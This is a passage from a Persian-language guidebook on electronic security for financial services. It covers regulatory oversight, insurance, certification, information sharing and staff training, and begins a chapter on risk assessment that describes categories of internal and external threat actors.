كنندگان امنيت الكترونيكي ايجاد كنـد تـا        افزار و تأمين  سخت
  .به صنعت خدمات مالي پاسخگو باشند

  فرآيندهاي نظارت و آزمون

مؤسـسة  ) EGB(گروه بانكـداري الكترونيكـي   كميتة باسل در    
 براي ارائه پيشنهاد در زمينـه افـزايش، ايجـاد     ٤١نظارت بانكي 

تغييرات يا انجام اصلاحات مـورد نيـاز در نظـارت و ارزيـابي              
در سـال   . جهت تطبيق روالها با فناوريهاي جديد شكل گرفت       

۲۰۰۱ ،EBG   ــداري ــراي بانك ــاطره ب ــديريت مخ ــول م  اص
 بـود كـه     الكترونيكي را منتشر كرد كه شامل اصـول خاصـي         

استانداردهايي براي تأييد اعتبار و تصديق هويـت، كنترلهـاي          
هــا و همچنــين جامعيــت داخلــي، جامعيــت امنيــت ســرمايه

هـاي  حـوزه . كـرد اطلاعات بانكداري الكترونيكي اعـلام مـي      
اي پيـدا   نظارت و ارزيابي در چند سال آينده تغيير جهت عمده         

و تكيه بر انبـوه     همانطور كه صنعت امنيت با معرفي       . كنندمي
هاي شخصي و اينترنت يك تغيير الگو را تجربـه كـرد،            رايانه

رسد نظـارت بـانكي نيـز تغييـر مركـز ثقـل صـنعت               بنظر مي 
  .خدمات مالي را تجربه خواهد نمود

  مرزيمرزي و برونهماهنگي سازمانهاي درون

يك موضوع كليدي كه اكثر كشورها با آن روبرو هستند نيـاز            
 تبادل اطلاعـات ميـان قانونگـذاران و دوايـر           به ارتقاي سطح  
بـسياري از كـشورها     . اسـت ) نيروهـاي انتظـامي   (اجراي قـانون    

                                                                  
در بسياري از بازارهاي درحال رشد، صنعت بيمـه بـه خـوديِ خـود                  ۴۰

ممكن است نياز داشته باشد كه ساختار مجدد بيابد و به يك حالـت              
توان از ايـن شـرايط نيـز جلـوگيري     استوار برسد؛ اما در هر حال مي    

 .كرد
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آوري اطلاعـات مهـم دارنـد، امـا         چندين سازمان براي جمـع    
معمــولاً اطلاعــات ميــان ايــن ســازمانها بــا يكــديگر يــا بــا  

گـاهي  (شـوند   اشتراك گذاشـته نمـي    مرزي به سازمانهاي برون 
موضوع تبادل اطلاعات ميان سـازمانها      ). يل حقوقي اوقات به دلا  

در هر . المللي فراتر از دامنة اين كتاب استدر ابعاد ملي و بين    
صورت از آنجا كه دولتهـا سـعي دارنـد بـا جـرائم موجـود در                 
محيط الكترونيكي به مقابله برخيزند، اشتراك اطلاعات و نيـز       

 بـه   المللـي در ايـن بحـث موضـوعاتي كليـدي          همكاري بين 
  .آيندحساب مي

  :ركن چهارم
  نقش بيمة خصوصي به عنوان
  يك سيستم نظارت تكميلي

كننده بر خدمات مالي هنوز درحـال تـدوين    سازمانهاي نظارت 
به علت مشكلات ذاتـي كـه در        . استانداردهاي قانوني هستند  

مسئله نظارت بر تراكنشهاي پيچيدة مبتني بـر زيرسـاختهاي          
حلهاي تكميلي براي مديريت    فتن راه فنيِ متغير وجود دارد، يا    

عليـرغم نقـايص    . مخاطرات از اهميت زيادي برخوردار اسـت      
موجود در اطلاعـات لازم بـراي تخمـين آسـيبهاي ناشـي از              
مخاطرات الكترونيكي، مدتي است كه صـنعت بيمـه در ايـن            

شـود در چنـد سـال    بينـي مـي  پيش. كندقسمت نقش ايفا مي  
 متحـده، رشـد بيمـة مـسئوليت در          آينده تنها در بازار ايـالات     

 ۲،۵تجارت الكترونيكي و گـسترة مخـاطرات آن سـالانه بـه             
  .ميليارد دلار برسد

هرچند بيمة مـسئوليت در تجـارت الكترونيكـي و مخـاطرات            
الكترونيكي هنوز در مراحل اوليـة توسـعه اسـت، امـا حـاوي              

. باشـد مشكلاتي در رابطه با شخص اول و شخص ثالث مـي          
 مخاطرات سايبر بايد توسعة بيشتري پيدا كنـد،         تخمين هزينة 

ولي براي انجام اينكار، صنعت بيمه بايـد اطلاعـات بيـشتري            
. دربارة نفوذهاي امنيتي و مخاطرات مرتبط با آنها داشته باشد         

شدة كنونيِ اين نوع توان گفت در تجارب ثبت    بعنوان مثال مي  
ي سـيم بـرا   بيمه، به مخاطرات جديـدي كـه فناوريهـاي بـي          

-ارائـه . اند توجه كافي نـشده اسـت      خدمات مالي بوجود آورده   
توانند الزام كنند كـه اسـتانداردهاي       كنندگان خدمات بيمه مي   

سـيم شناسـايي شـوند و       امنيت الكترونيكي براي فناوري بـي     
مورد استفاده قرار گيرند؛ تا پيش از آنكه مجبور بـه تبعيـت از              

 ــ  ــوند، اي ــي ش ــاطرات الكترونيك ــتهاي مخ ــته از سياس ن دس
  .مخاطرات را كاهش داده باشند

تواند بعنوان يك نيـروي مهـم بـراي         صنعت بيمة جهاني مي   
توانـد  اول اينكه مي  . تغيير الزامات امنيت الكترونيكي بكار رود     

موجب بهبود اسـتانداردهاي حـداقلي امنيـت الكترونيكـي در           
براي مثال صنعت جهاني خـدمات      . صنعت خدمات مالي شود   

واند شركتها را براي استفاده از امنيـت الكترونيكـي          تمالي مي 
. شده بعنوان يك پيشنياز براي تجارت تحريك كنـد        بنديلايه

تواننـد از مؤسـسات خـدمات مـالي         ثانياً شركتهاي بيمـه مـي     
بخواهند كه به فروشندگاني مراجعـه نماينـد كـه بـراي ارائـه              

قابـل  خدمات امنيت الكترونيكي از استانداردهاي تأييدشـده و         
برند تا مخـاطرات احتمـالي را كـاهش         قبول صنعتي بهره مي   

تواننـد قانونگـذاران را     ثالثـاً شـركتهاي بيمـه مـي       . داده باشند 
ترغيب كنند تا مؤسسات خـدمات مـالي را ملـزم نماينـد كـه               

اي كيفيت اطلاعـات و گزارشـها در مـورد رخـدادها را بگونـه            
حليـل بهتـري در   بهبود بخشند كه با استفاده از آنهـا بتـوان ت       

. مورد مخاطرات الكترونيكـي و بازگـشت سـرمايه انجـام داد           
حلهايي منتشر كند كه    تواند راه سرانجام اينكه صنعت بيمه مي    

-گذاري مخاطرات و مسئوليت   اشتراكدر آنها مسائلي چون به    
پذيري در قبال نفوذهاي امنيتي ميـان فروشـندگان خـدمات           

مثـل  ( فعال در اين زمينه      امنيت الكترونيكي و ساير شركتهاي    
  .الزامي شود) شركتهاي ميزبان

  :ركن پنجم
  ، استانداردها، و٤٢گواهي

  نقش بخشهاي عمومي و خصوصي
بخشهاي عمومي و خصوصي بايد با همكاري يكديگر بـراي           

سازي طرحهاي تأييد و اعطاي     تدوين استانداردها و هماهنگ   
 آنهـا   دو عنـوان كـه در ايـن زمينـه بـه           . گواهي اقـدام كننـد    

دهندگان خدمات امنيت   هاي ارائه پردازيم عبارتند از گواهي    مي
  .هاي عناصر هر تراكنشالكترونيكي و گواهي

يك رويكرد ممكن براي تأمين امنيت امور مالي الكترونيكـي          
تواند اين باشد كه قانونگذاران، فروشندگاني كـه مـستقيماً          مي

.  مجوز نماينـد   بر سيستم پرداخت تأثير دارند را ملزم به كسب        
تواند الزام صـنعت بـه تأييـد و اعطـاي           يك رويكرد ديگر مي   
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. دهنـدگان خـدمات امنيـت الكترونيكـي باشـد         گواهي به ارائه  
بعنوان مثال اخيراً در صنعت امنيت يك گواهينامه بـا عنـوان            

در حقيقـت در اثـر ايـن        . ايجاد شده اسـت   " متخصص امنيت "
كننـده،  ايي براي مصرف  اتفاق، با تهية يك ساختار قابل شناس      

پذيري ميـان صـنعت و متخصـصين آن، و تفكيـك            مسؤليت
داننـد،  متخصصينِ تأييدشده از كسانيكه خود را متخصص مي       

ايـن روش همچنـين     . بـرد اين تمام صنعت است كه سود مي      
اي ارتقـا  وضعيت حوزة امنيت را به وضعيت يك حـوزة حرفـه    

 ـ     دهد و باعث مي   مي راي تـدوين و    شود صنعت انگيـزة لازم ب
  .اعمال استانداردها را داشته باشد

هـاي  حوزة بعدي كه بايد مورد ملاحظـه قـرار گيـرد گـواهي            
گـواهي  . عناصر انجام معامله نظير امضاي الكترونيكي اسـت       

تواند ارزش يك معامله را بسته به اينكه چه كـسي و چـه              مي
گـواهي ممكـن اسـت      . چيزي آنرا گواهي كرده افزايش دهـد      

ك سازمان دولتي نظير ادارة پست يـا يـك سـازمان            بوسيلة ي 
هريك از اين موارد، مـسائل      . خصوصي مثل بانك صادر شود    

در بــسياري از . ســاختاري و مــديريتي خــاص خــود را دارنــد
ــة   ــراي تهي كــشورها ممكــن اســت شــركتهاي خــصوصي ب
زيرساخت اطلاعاتيِ مورد نياز براي اعطاي گواهي بهتر عمل         

  .كنند

رنامة موفق براي اعطاي گواهي اين اسـت        عنصر اصلي يك ب   
كه ساختارهايي كه در مراكز قضايي مختلف وجود دارند بايـد           
از خصوصيات يكساني براي تأييد كلية تراكنشها استفاده كنند         
و حدود اختيارات و مسئوليتهاي يك تأييدكننده بايد در تمـام           

  .هاي قضايي يكپارچه و جامع باشدحوزه

 و  ٤٣)PKI (زيرساخت كليـد عمـومي    ناوري  اگرچه استفاده از ف   
اعطاي گواهي معمولاً بعنوان تنها راههاي قابل قبـول بـراي           

ها و  شوند، ليكن توجه به هزينه    تأمين امنيت درنظر گرفته مي    
 و ناسازگاريهاي حقـوقي آن   PKIساختارهاي پيچيده و درهم     

حل يك راه .  نيز ضروري است   ٤٤)CAs (مراكز صدور گواهي  با  
نكه معقـول و مناسـب باشـد بايـد بـا درنظـر گـرفتن                براي اي 

پذيري قابل اجرا باشد و اين      مرزهايي چون اعتماد و مسئوليت    
چندان اهميتي ندارد كه براي انجام آن كـدام فنـاوري مـورد             

  .استفاده قرار خواهد گرفت
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  :ركن ششم
  دقت در اطلاعات رخدادهاي امنيتي،
  و همكاري دولت و بخش خصوصي

ت دقيق دربارة رخدادهاي امنيـت الكترونيكـي،        فقدان اطلاعا 
گيــري و نتيجــة دانــش يــا انگيــزة كــم بــراي تهيــه، انــدازه 

بــا گــسترش تــداركات . گــذاري اطلاعــات اســتاشــتراك بــه
مــرزي بــه منظــور تــسهيل در اشــتراك مـرزي و بــرون  درون

اطلاعات دقيق دربـارة حمـلات تخريـب سـرويس، سـرقت،            
دهندگان خدمات مالي، امنيت    كلاهبرداري و غيره توسط ارائه    

اشـتراك  بـه . الكترونيكي در سراسر جهان تقويت خواهد شـد       
نگذاشتن اطلاعات نه تنها دانش را در يك سطح معـين نگـه            

حلهـاي بخـش    تواند توسعة راه  دارد، بلكه از آن مهمتر مي      مي
ايــن فقــدان . را نيــز محــدود نمايــد) شــامل بيمــه(خــصوصي 

زايش هزينـة بيمـة شـركتها و        اطلاعات ممكن است باعث اف    
  .دهندگان خدمات مالي شودارائه

تر دولت و بخش خـصوصي      در اين حوزه همكاريهاي گسترده    
 امنيــت و ارزيــابيكميتــة راهبــري بــراي مثــال . لازم اســت

 با ايجاد آزمايشگاه امنيـت خـدمات مـالي،          BIST٤٥مخاطرة  
موضوعاتي چون امنيت، سلامت و صحت پرداختها ، تجـارت          

ــرار  الكت ــورد بررســي ق رونيكــي، و فناوريهــاي مربوطــه را م
ايـن آزمايـشگاه همچنـين تبـادل اطلاعـات دربـارة            . دهد مي

  .نمايدموضوعات امنيتي صنعت خدمات مالي را تسهيل مي

تيمهـاي امنيـت    ،  ٤٦اتحاد امنيت اينترنـت   علاوه بر اين وجود     
ــنش ــداد و واك ــه ، و ٤٧رخ ــت رايان ــاي امني ــز فوريته  ايمرك

)(CERT
دهد كه همكـاري    ر كشورهاي مختلف نشان مي     د ٤٨

متقابل باعث اشتراك فزايندة اطلاعات ميان مجريان قانون و         
يـك  . شـود كنندة خدمات مالي مـي    شركتهاي خصوصي ارائه  

هـا رعايـت محرمـانگي و       عنصر مشترك در تمام اين برنامـه      
مجريان قانون و مؤسسات آموزشي، هويت منابع    : اعتماد است 

در ايـن حـوزه نقـش       . كننـد  خود را فاش نمي    اطلاعات دقيق 
. سازمانهاي چندجانبه در تسهيل همكاري نياز به بررسي دارد        

تر شود، به نحو احسن      بديهي است كه هر چه اقتصاد منسجم      
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كند؛ و شدن مسئوليت هر بخش اهميت بيشتري پيدا ميانجام
اين درحالي است كه صـنعت خـدمات مـاليِ امـروز، در آغـاز               

ك سيستم متمركز شـروع بـه كـار كـرد و تغييـرات              بعنوان ي 
فناوري در دهة گذشـته بـود كـه وابـستگيهاي درونـي ايـن               

  .سيستم را گسترش داده و بيشتر كرده است

  :ركن هفتم
  آموزش و پيشگيري از وقوع
  رخدادهاي امنيت الكترونيكي

دهد كه در بسياري از كشورها بيش از       تحليل آماري نشان مي   
 الكترونيكـي بـه سـازمانها توسـط افـراد           حملات امنيت % ۵۰

نيروي كار با تحصيلات كـم      . گيردداخل سازمانها صورت مي   
بـرعكس،  . پـذيرتر اسـت   در مقابل حمـلات اينترنتـي آسـيب       

ديده كه از موضوعات امنيتـي آگـاه اسـت          نيروي كار آموزش  
  .تواند يك لاية مؤثر حفاظتي به سيستم بيافزايدمي

دهندگان خـدمات مـالي     ايد براي ارائه  اقدامات اولية آموزشي ب   
 كه در سازمانهاي مختلف     -اعم از مديران و راهبران سيستم       

 و همچنـين بـراي      -پردازنـد   به نظارت و اجراي قـانون مـي       
اقـدامات  . كاربران اينترنتي خدمات مالي مورد توجه قرار گيرد       

  :شونداوليه شامل موارد زير مي

مـالي در مـورد     ارتقاي آگاهي و آموزش افـراد بخـش          •
اصول اخلاقي در اينترنـت و رفتـار مناسـب كـاربر در             

 اي؛سيستمهاي شبكه

تدوين سياستهاي امنيت الكترونيكي در سطح سازمان        •
در مواردي چون رفتار درست و راههاي موجـود بـراي           
گزارش حملات يا رخدادها با هماهنگي كامل با تمـام          

ني فعاليتهايي كه در راسـتاي تكميـل اطلاعـات جهـا          
 شوند؛دربارة حملات انجام مي

افزايش آگاهي مجامع بانكداريِ بازارهاي نوين دربـارة         •
 در مـواردي كـه      ٤٩طرحهاي واكنش به رخـداد    نياز به   
 دهد؛اي رخ ميحادثه

تسهيل همكاري و انتقال دانش ميان مجريان قـانون،          •
 و ســازمانهاي ٥٠واحــدهاي اطلاعــات خــدمات مــالي 
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يافته و نـوين بـا ابزارهـايي        نظارتي در بازارهاي توسعه   
 نظير طرحهاي تبادل فعال اطلاعات ميان كاركنان؛

هاي متمركز بـراي ممتحنـان بـا كمـك          طراحي دوره  •
 يــا ديگــر مراكــز ٥١مؤســسه پايــداري خــدمات مــالي

 آموزشي؛

تدوين يك طرح چندمنظورة دانشگاهي براي آمـوزش         •
متخصصين آيندة امنيت الكترونيكي، و بطور همزمـان        

 . سطح دانش كاربران خدمات مالي اينترنتيارتقاي

  :ركن هشتم
  امنيت چندلايه

دوازده لاية اصلي امنيت وجود دارند كه از اجزاي بنيادي يك           
ــارچگي داده  ــراي حفــظ يكپ ــاهش طــرح مناســب ب ــا و ك ه

. آينـد مخاطرات محيطهاي داراي معماري باز به حـساب مـي         
هـر شـرايط    دهد كه در    اي توضيح مي  اين سلسلة دوازده لايه   

كدام مكانيزم امنيت بايد مورد استفاده قرار بگيرد؛ و همچنين          
گويد كه امنيت هر شبكه تنها به اندازة ضـعيفترين عنـصر            مي

اي امنيـت در     جزئيات اين طـرح دوازده لايـه      . آن شبكه است  
  .انتهاي همين بخش ارائه شده است

  هاتبصره

كـه  بخش سوم و چهارم كتاب مربوط بـه محيطهـايي اسـت             
باشـند و بـا بكـارگيري يـك         گيري مـي  بسرعت درحال شكل  

مند تلاش دارند اقتصاد و قانون و فناوري را بـه           روش ضابطه 
به علت رشـد سـريع جهـاني،        . تناسب يكديگر هماهنگ كند   

غالب كـشورها از جملـه      . امنيت الكترونيكي قالبي مرموز دارد    
نـوز از  آنها كه تجربة بيشتري دربارة مـسائل امنيتـي دارنـد ه          

دانش اندكي در اين زمينه برخوردارند و بازارهاي نوين حتـي           
ايـن كتـاب توجـه بيـشتري بـه          . داننـد از اين هم كمتـر مـي      

هاي ايالات متحـده دارد؛ چراكـه محـل بوجـود آمـدن              آموزه
اينترنت بوده و زمان بيشتري براي تجربة مزايـا و معايـب آن             

ن زمينه را بوجـود     داشته، و همچنين استانداردهاي اوليه در اي      
 در تدوين ايـن كتـاب بـه فعاليــتها و تجـارب              ٥٢.آورده است 

                                                                  
51   Financial Stability Institute  

 بوسـيلة   ۱۹۶۹بوجود آمد، كـه در سـال         ARPANETاينترنت از      ۵۲
 Advanced(هـــاي تحقيقـــاتي پيـــشرفته  ســـازمان پـــروژه

https://telegram.me/karnil
www.karnil.com


 

 

 راهنماي امنيت فناوري اطلاعات ١٣٦

كشورهاي پيشرفتة اقتصادي در اروپا، آسيا و آمريكاي جنوبي         
بـديهي اسـت كـه مطالـب زيـادي را           . نيز توجه شـده اسـت     

مـشكلات ويـژة بازارهـاي      "توان دربارة موضوعاتي چـون       مي
هـاي   و موافقتنامـه   هاي حقوقي زمينه"، و   "نوين در اين عرصه   

" سازماني لازم براي بهبود امنيت الكترونيكي در سراسر جهان        
 .طرح كرد

بدون انجام اين فعاليـها، نيروي بالقوة عظيم شـركتهايي كـه           
اند به شدت به خطـر  خود را با تجارت الكترونيكي تطبيق داده      

افتد؛ چراكه اعتماد و اطمينـان كـسانيكه در بـازار هـستند             مي
در فصلهاي بعـديِ ايـن      . گيردي تحت تأثير قرار مي    بطور جد 

  :اندبخش موارد زير دنبال شده

  روشهايي براي ارزيابي مخاطره و تحليل زيان؛  ) الف

راهنماي عملي تدوين سياستها و روالهاي امنيتـي كـه            )ب
  براي يك سازمان مناسب هستند؛

هاي كلي و ويژه براي مديران و كارمندان دربارة         توصيه  )ج
  لگوهاي سرآمدي امنيت الكترونيكي؛ وا

اي از فهرستهاي كنترل، با اظهار نظرهـايي از         مجموعه  )د
سراسر دنيا در موضوع امنيت در عمليات تجاري، بويژه         
ــارت      ــاي تج ــالي و كاربرده ــش م ــا بخ ــه ب در رابط

  .الكترونيكي

  

                                                                  
Research Projects Agency ( ــالات ــاع اي در وزارت دف

  .متحده طراحي شده بود
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  فصل سوم
  برآورد مخاطره و تحليل زيان

  كليات
 و آسـيبهاي    ٥٤تحليـل زيـان     و ٥٣برآورد مخاطره در اين فصل    

شـوند؛ ، منـشأ، عملكـرد       امنيتي از ديدگاه تجاري بررسي مي     
اي از مخـاطرات امنيتـي بـر        محتمل، و شدت اثـرات گـستره      

گيرنـد؛ نكـات اصـليِ      فعاليتهاي روزمره مورد مطالعه قرار مي     
شوند و اصول اساسـي     يك سياست امنيتي صحيح تشريح مي     

اد امنيتي واقعي نيـز مـورد       تحليل زيان هنگام وقوع يك رخد     
  .گيرندبررسي قرار مي

  مرزهاي جديد: توسعة فناوري
 درحال فعاليـت در     - چه كوچك و چه بزرگ       -كلية سازمانها   

هـاي  پيشرفت ارتباطـات و شـبكه     . يك محيط جهاني هستند   
حمل و نقل در قـرن گذشـته مـشتريان و بازارهـا را بـه هـم               

 رسـانده و باعـث شـده        ها را بـه حـداقل     نزديكتر كرده، هزينه  
امروز بتوان محصولات را براي خريداران به تمامي نقاط دنيـا           

اي از  المللـي مـديران بايـد گـستره       از ديدگاه بين  . ارسال كرد 
از انتهـاي   . هايشان درنظـر بگيرنـد    مخاطرات را براي مؤسسه   

 به بعد حمـلات شـديد بـسياري در سراسـر دنيـا              ۱۹۹۰دهة  
). ۲۰۰۱ه مركز تجارت جهـاني در سـال     نظير حمله ب  (صورت پذيرفت   

در مقابله با چنين رخدادهايي، نياز به امنيـت فيزيكـي كـاملاً             
ضرورت حضور پليس در اطراف ساختمانها، كنترل      : روشن شد 

ورود به ساختمانها، طراحي سياستهاي صـحيح بـراي تخليـة           
محيط درصورت وقـوع حادثـه، و توسـعه دادن نقـاط تمـاس              

  . محلي و كشوريتر با مقاماتمطمئن

در قسمت فني نيز بصورت متناظر بررسي تهديـدهايي كـه از            
هـاي  اي، برنامـه  داخل و خارج سازمان متوجه تجهيزات رايانه      

هايي كه گروهها را به هم      كاربردي، پايگاههاي داده، و شبكه    

                                                                  
53  Risk Evaluation 
54  Loss Analysis 

هـاي خـام    در محيط كار، داده   . كنند اغاز شده است   متصل مي 
عات كارت اعتباري براي رقبـا و       نظير سوابق مشتريان يا اطلا    

اي اهدافي ارزشمند است و به توجه خاص نياز         تبهكاران رايانه 
 ٥٥مالكيت معنـوي  تر  علاوه بر اين در مؤسسات پيشرفته     . دارد

نظير اسناد تحقيقات علمي يا فرآيندهاي كاريِ منحصر بفـرد          
. ارزش زيادي دارند و نيازمند مراقبتهاي امنيتيِ ويـژه هـستند          

گيرد، سـرقت   يايي كه روز به روز رقابت در آن شدت مي         در دن 
هاي خام و دارائيهاي فكري از طريق رايانه رو به افزايش           داده
كه در نگرش كلـي     " پشتيباني پيشگيرانه "مواردي چون   . است

گيرد، آمـوزش و    گذاري مديريت مورد توجه قرار مي     و سرمايه 
زمان، بـه   هوشيارسازي كاركنان، و ارتباطات شفاف درون سـا       

كاهش خطرات ناشـي از تخلفـات امنيـت فيزيكـي و امنيـت              
  .كنندسايبر كمك مي

  خود را بشناسيم
ــن   ــراي ايم ــشتركي ب ــاي م ــا و رواله ــه طرحه ــازي اگرچ س

اي و ســاختمانها وجــود دارد، امــا داشــتن سيــستمهاي رايانــه
تصوير كاملي از سازمان و قالب فعاليت آن براي تدوين يـك            

مجموعة سياسـتها و روالهـاي      . لازم است طرح امنيتيِ خوب،    
امنيتي مورد نيازِ شركتي كه در زمينة دفع ضايعات خطرنـاك           
يا مواد زيستي فعال است با سياستها و روالهاي مورد نيازِ يك            

براي آغاز فرآينـد    . توليدكنندة لوازم الكترونيكي متفاوت است    
ه شناساييِ خطرات بالقوة امنيتي توسط مديريت، پاسخگويي ب       

  :پنج سئوال زير مفيد خواهد بود

ترين محصول يا خدمت سـازمان چيـست؟ اگـر          اصلي .۱
بنـدي   چند پاسخ وجود دارد سعي كنيد آنهـا را اولويـت          

 .نماييد

 منابع اصلي درآمد و رشد سازمان كدامند؟ .۲

ساختار سـازمان چگونـه اسـت؟ بخـشهاي مختلـف و             .۳
عملكردهاي اصلي هريك كدامند؟ اين بخشها چگونه       

كننـد؛ چگونـه بـا يكـديگر ارتبـاط برقـرار            ت مي فعالي
نمايند؛ و چگونه بعنـوان يـك مجموعـة واحـد بـه              مي

 پردازند؟فعاليت مي
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كدام اطلاعات براي هر بخش حساستر است و از چـه            .۴
فناوريهايي براي ذخيره و توزيع اين اطلاعات در خارج         

 شود؟و داخل سازمان استفاده مي

زمان چـه كـساني     مشتريان، شـركا و فروشـندگان سـا        .۵
 هستند و نحوة تعامل آنها با سازمان چگونه است؟

اطلاعات مـورد نيـاز بـراي پاسـخ دادن بـه ايـن سـؤالات را                 
فنـاوري  بخصوص كاركنـان بخـش      (توان از گفتگو با كارمندان       مي

ارزيـابي  . ، مديران و هيأت مديره شركت بدست آورد       )اطلاعات
ل ديگـر ممكـن     مشتريان و فروشندگان در مورد مسائ      نظرات

دسـت آخـر    . است منجر به كشف مسائل امنيتي جديـد شـود         
پـردازد بايـد بـا      آوري اطلاعـات مـي    اينكه تيمي كه به جمـع     

نظـرات  . ها در مورد شركت آشنا باشـد      ادبيات گزارشات رسانه  
تواند مـؤثر باشـد؛ بخـصوص اگـر شـركت در             عمومي نيز مي  

نـد، و يـا     انگيز يا در جايگاهي حساس فعاليت ك      صنعتي بحث 
گزارشاتي در مورد آن بصورت منظم در نشريات ظـاهر شـده            

  .باشد

  :دشمن را بشناسيم
  تهديدات داخلي و خارجي

زمانيكــه شــركت ســاختار و عملكــرد خــود را ارزيــابي كــرد، 
موقعيتي مناسب براي تدوين شرحي از نقـاط بـالقوة قـوت و             

در ابتـدا بهتـر اسـت روي        . آيـد ضعف امنيتي آن بدسـت مـي      
هنگاميكــه ايــن تهديــدات . يــدات كلــي متمركــز شــويمتهد

شناسايي شدند، ارزيابي سطح تهديدات داخلـي و خـارجي در           
فعاليـتهاي مربوط به هركدام از اين تهديدها امكانپذير خواهد         

  .بود

  :تهديدات كلي هر شركت يا سازمان رسمي عبارتند از

  تهديدات فيزيكي

 ؛)اي شديد و سيلسوزي، زلزله، طوفانهآتش(بلاياي طبيعي  •
 دزدي؛ •
 تخريب؛ •
 تداخلهاي فيزيكي؛ •
 تخريب شبكه؛ و •
  .جاسوسي سازمانيافته •

  افزاريتهديدات نرم

 هاي آتش؛نفوذ به ديواره •
 ؛)ويروسها، تراواها، كرمها(برافزارها  •
 ها؛ وانتشار غيرمجاز يا تخريب داده •
  .جاسوسي سازمانيافته بوسيلة ابزارهاي ديجيتالي  •

 انساني، شركت بايد عوامل خرابكار داخلـي  از موضع تهديدات 
در برخي موارد نقض امنيت داخلي      . و خارجي را شناسايي كند    

انگاري ساده،  يك سهل : تواند ناشي از خطاي انساني باشد     مي
هاي ديگر در حوزه. توجهي، يا عدم آموزش كافي كارمندان     بي

ــي  ــازمانيافته، م ــي س ــوان از بخــصوص جاسوس ــي ت مهندس
هاي سازماني و   براي دسترسي به تسهيلات و داده      ٥٦اجتماعي

اي مجموعـه . محرمانة افراد آگاه داخل شركت اسـتفاده كـرد        
مناسب از سياستها بايد توسط بخـش امنيـت و بـا همكـاري              
. بخش پرسنلي ايجاد شوند تا به كاهش خطرات كمك نمايند         

تواننـد در روالهـاي    بخشهاي امنيتي و پرسنلي همچنـين مـي       
اگرچـه  .  اخراج كاركنان با يكديگر همكاري نمايند      استخدام و 

توان انگيزة شفافي براي اعمال خرابكارانه      در برخي موارد نمي   
اي هاي متفاوت اينگونه فعاليتهاي مخـرب رايانـه       يافت انگيزه 

هـا  بندي كسانيكه به رايانـه    دسته. نياز به توضيح مفصل دارند    
بـه هـر ترتيـب    كنند چندان امكانپـذير نيـست، ولـي        نفوذ مي 

توان در مورد شدت تهديدها و متناظراً آسيب مورد انتظـار            مي
  .هر تهديد بصورت كلي بحث كرد

، كارمندان يك   )٥٨نفوذگران تابستاني  (٥٧نفوذگران تفنني 
ايـن  . سازمان هستند كه با پروتكلهاي شـبكه آشـنايي دارنـد          

هـا و دارائيهـاي شـركت را        افراد معمـولاً قـصد تخريـب داده       
كننـد بـه منـابعي كـه        ، اما از روي كنجكاوي سعي مي      ندارند

با ايـن وجـود     . مجاز به استفاده از آنها نيستند دست پيدا كنند        
شايد كاملاً با ابزارهاي نفوذ آشنا نباشند و با استفادة نادرسـت            

عـلاوه بـر ايـن اگـر        . از ابزارها باعث تخريب سيستمها شوند     
ممكن است داراي    شده باشند    downloadابزارها از اينترنت    

 باشــند كــه مــورد اســتفاده ديگــر ٦٠تــراوا يــا ٥٩درب مخفــي
لذا نفوذ تفننـي يـك تهديـد بـزرگ          . گيرندمهاجمين قرار مي  
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شود و مهمترين دليل ممنوع بودن آن نيز همين         محسوب مي 
  .است

"Script Kiddie" در سـن  ( معمـولاً نفـوذگران جـوانتر    هـا
اي خـوب   ارتهاي رايانه هستند كه مه  ) دانشگاهيدبيرستان يا پيش  

و اوقات بيكاري زيادي دارند، اما چندان خبره نيستند و بـراي            
اند استفاده  هايي كه ديگران تهيه كرده    برنامهانجام نفوذ از تكه   

كه (بطور كلي افراد اين دسته مانند تبهكاران هدفدار         . كنندمي
، بـر روي تخريـب متمركـز        )در ادامة همـين مطلـب بررسـي شـده         

ند اما تعداد آنها زياد است و گاهي به صورت تيمي كار  شو نمي
كنند و طبيعتاً در اين قالـب تهديـد بزرگتـري بـه حـساب               مي
ها نفوذ موفق خـود را منتـشر و از   "Script Kiddie. "آيند مي

در واقـع آنهـا بـه بـدناميِ         . كننـد آن طريق ادعاي شهرت مي    
علـت  بـه  . كننـد حاصل از حجم زياد حملات خود افتخار مـي     

افزارهـاي امنيتـي ابزارهـاي      رواج اين تهديد، سـازندگان نـرم      
. انـد مؤثري را براي جلوگيري از ايـن نـوع نفـوذ تهيـه كـرده              

 بـراي دفـاع در      ٦١يـاب مهاجم سيستمهايهاي آتش و    ديواره
  .اندمقابل چنين حملاتي بوجود آمده

اي هـستند كـه      معمولاً مهاجمان خبـره    تبهكاران هدفدار 
هـا، و   ت اطلاعات، تخريب و از بين بردن داده       هدف آنها سرق  

. باشـد از كار انداختن سيستمها در خلال يك بازة زمـاني مـي           
ها، هـدف آنهـا   "script kiddie"برخلاف نفوذگران تفنني و 

آنهـا در برخـي مـوارد بـدنبال       . واقعاً نفوذ به سيـستمها اسـت      
هـاي كـارت   شـماره (هـاي مـالي   اطلاعات ارزشمندي مثـل داده  

هـاي  شـماره (يا اطلاعات شخصي    ) باري و جزئيات حساب بانكي    اعت
هـستند تـا آنهـا را       ) شناسايي، سوابق دانشگاهي و فايلهاي مـشتريان      

ايـن دسـته از     . اي ديگر از آنها بهره ببرند     تغيير دهند يا بگونه   
شوند و پـيش از انجـام       مهاجمان غالباً بخوبي سازماندهي مي    

اجـع بـه سـازمان قربـاني        حملة اصلي، اطلاعات ارزشمندي ر    
خوشبختانه تعداد اين نوع مجرمان كمتـر       . كنندآوري مي جمع

از انواع ديگر است، اما جلوگيري از نفوذ آنـان بـسيار مـشكل              
آميـز، ممكـن اسـت باعـث        باشد و درصورت نفوذ موفقيت    مي

  .تخريبهاي جدي شوند

توانند بطور عمدي و يـا سـهوي      مي كارمندان و مشاوران  
دي براي سيستم ايجاد كننـد و ايـن بـستگي بـه             تهديدات ج 

ماهيت روابط آنها با مـديران و همكارانـشان در محـيط كـار              
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شان در داخل سازمان،    اين افراد به علت سطح دسترسي     . دارد
  .شونداز لحاظ امنيتي يك نگراني جدي محسوب مي

در دستة نفوذگران تفنني، برخي از كاركنان به علت خـستگي           
. كننـد بيتهاي رقابت فني بـه سيـستم نفـوذ مـي          از كار يا جذا   

گروهي ديگر بدنبال اطلاعات مربـوط بـه ترفيـع و دسـتمزد             
بعـضي ديگـر ممكـن      . هاي سازماني هـستند    همكاران يا داده  

است براي انجام اقدامات تلافي جويانه عليه سازمان بـه ايـن     
اي شـوند كـه   عمل دست بزنند؛ يا باعث تهديـدات ناخواسـته      

 حفاظت صحيح از سيستم به علت آموزش فني         علت آن عدم  
  .دقتي كاركنان باشد ناقص يا بي

